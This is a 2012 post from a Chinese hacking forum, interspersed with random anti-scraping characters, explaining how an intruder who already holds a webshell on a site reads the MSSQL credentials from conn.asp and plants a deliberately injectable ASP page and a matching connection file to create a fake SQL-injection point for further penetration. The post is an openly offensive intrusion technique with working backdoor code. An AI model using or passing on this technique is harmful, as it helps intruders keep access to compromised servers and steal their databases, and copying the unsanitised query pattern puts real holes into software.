找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1847|回复: 0
打印 上一主题 下一主题

自己构造注入点方便入侵

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:27:31 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
自己构造注入点方便入侵6 p1 Z: B5 ?) B

0 D5 w: a- F0 u" v7 n! T3 s今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息6 X* M5 y0 Q; B8 E# t/ {. q1 E
( ~  H7 }0 ]" x6 L
这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!
7 }% B, r, @1 V' T4 _( O" G
9 {! n, t4 b, F8 ]首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和
* @; F; J" i+ A& C# q9 \  p
# V6 ?+ G* z9 `8 W* P+ ~密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表; W, m# z; \1 i1 p# p) E8 y! s
% N1 Z5 g: u& }* z$ y
因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
) O2 z/ g1 |& z9 L+ |9 A: C% d3 ^  A5 f! S
程序代码7 e# l. h# c2 X& s% i4 l+ ^/ D
<!--#include file="xx.asp"-->. q) S% }& H: s$ o7 X1 h) A
<%
7 n% h1 i: G2 G' k, Y% _, dset rs=server.createobject("ADODB.recordset")
  M/ `# ]) H) Yid = request("id")
4 X9 V% ?2 r8 wstrSQL = "select * from admin where id=" & id; C% X2 ^$ d) \5 z
rs.open strSQL,conn,1,37 `6 T% m3 W/ a" K7 Z
rs.close4 T: _4 P# v( J7 \0 c+ a0 p
%>( j+ C" v! e9 g
/ s* y% h( d5 p( Z" @
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在) u: S/ U! `; k
- e/ U, K# |3 a4 l" B
你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!
0 O2 a& Q1 _% W; e$ {; _, s' Q) I$ Z! Q, w+ G# P) U3 p) i4 q
然后就要构造一个连接数据库的文件了,代码如下:4 |( O5 ~; F/ h8 \5 N$ L
程序代码
" Q) c1 g2 e3 ?7 {3 [4 t<%        
% X' ~" r7 L5 R. s7 b" @strSQLServerName = "000.000.000.000"     '服务器名称或地址2 K) ^, H  Q& a. r# m0 v
strSQLDBUserName = "sqlname"         '数据库帐号
! B* h, V* i3 `& \: [4 ZstrSQLDBPassword = "sqlpass"         '数据库密码3 N; `" F/ C$ @, a" K& z
strSQLDBName = "sqldataname"           '数据库名称
$ P- n. u% T' D4 M. T$ ZSet conn = Server.CreateObject("ADODB.Connection")
- K5 [' E: r0 s" BstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"" e$ g- ^' J2 \8 k! [
conn.open strCon% e/ o! b( \6 B" f( h. b) H" F
%>
( i$ B' Y$ Y$ v! z3 T9 _& N' N& `' ~" F& K. A8 i8 o, \3 l
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,5 @0 M* W# e1 a1 l- C6 k' I5 u
- z2 f6 l* Z5 i  v) f
就这样,正常情况下,就OK了,伪造成功……
4 U* x% Q1 z) ^
  @! [+ p- h9 b           如果有什么问题可以提出来大家一起探讨解决。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表